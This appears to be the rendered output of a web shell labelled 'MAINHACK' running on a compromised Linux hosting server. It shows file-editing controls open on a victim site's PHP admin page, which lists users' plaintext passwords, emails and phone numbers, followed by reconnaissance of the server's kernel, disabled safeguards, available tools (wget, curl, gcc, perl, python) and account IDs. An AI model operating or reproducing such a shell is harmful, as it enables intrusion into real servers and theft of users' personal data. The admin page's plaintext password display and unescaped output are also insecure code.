[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: all_client_post.php
<?php include('header.php'); ?> <link href="src/facebox.css" media="screen" rel="stylesheet" type="text/css" /> <script src="src/facebox.js" type="text/javascript"></script> <script type="text/javascript"> jQuery(document).ready(function($) { $('a[rel*=facebox]').facebox({ loadingImage : 'src/loading.gif', closeImage : 'src/closelabel.png' }) }) function send(){ if(window.confirm("Do You Really Want To Delete The Student??")){ return true; } else return false; } </script> <div id="page-wrapper"> <div class="main-page"> <div class="tables"> <h3 class="title1">All Users-POST TRAINING</h3> <div class="panel-body widget-shadow"> <table class="table" id="example"> <thead> <tr> <th>Sl</th> <th>User ID</th> <th>Name</th> <th>Email/Phone</th> <th>Password</th> <th>District</th> <th>Barcode</th> <th>Print Form/Edit/Print Hall Ticket</th> <th>Result</th> <th>Show/Delete</th> </tr> </thead> <tbody> <?php $count=1; $sq="select * from user where barcode!='' order by id desc"; $r=mysqli_query($con,$sq); while($row=mysqli_fetch_array($r)){ $veri=$row['verified']==0? '<font color="red">NO</font>':'<font color="green">YES</font>'; $result=$row['result']==""?"<a href='edit_marks.php?id=".$row['user_id']."' rel='facebox' class='label label-success'>Edit Marks</a>": "<a href='result_print.php?id=".$row['user_id']."' target='_blank' class='label label-success'>Result</a> <a href='p_page.php?id=".$row['user_id']."' target='_blank' class='label label-info'>Certificate</a>"; $date_of_exam=$row['date_of_exam']==""?"<a href='edit_ticket.php?id=".$row['user_id']."' rel='facebox' class='label label-warning'>Edit Hall Ticket</a>":""; ?> <script> $(document).ready(function(){ $("#ver<?php echo $count; ?>").change(function(){ var ver = $("#ver<?php echo $count; ?>").val(); var uid = $("#uid<?php echo $count; ?>").val(); //alert(ver); $.ajax({ type: "POST", url: "change_status.php", data: "ver="+ver+"&uid="+uid, cache: false, success: function(html){ //alert('p'); location.reload(); //$('#show2').html(html).show(); } }); }); }); </script> <?php $ver='ver'.$count; echo " <tr> <td>$count</td> <td>".$row['user_id']."</td> <td>".$row['name']."</td> <td>".$row['email']."<br>".$row['phone']."</td> <td>".$row['password']."</td> <td>".$row['district']."</td> <td><img src='temp/".$row['barcode']."' width='50'></td> <td><a href='post_register_form.php?id=".$row['user_id']."' target='_blank' class='label label-success'>Print Form</a> <a href='hall_ticket.php?id=".$row['user_id']."' target='_blank' class='label label-info'>Hall Ticket</a> $date_of_exam</td> <td>".$result."</td> <td><a href='edit_client.php?id=".$row['user_id']."' class='label label-info'>Show</a><br> <a href='#' class='label label-danger' onclick='return send();'>Delete</a> </td> </tr>"; ++$count; } ?> </tbody></table> </div></div> </div> </div> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619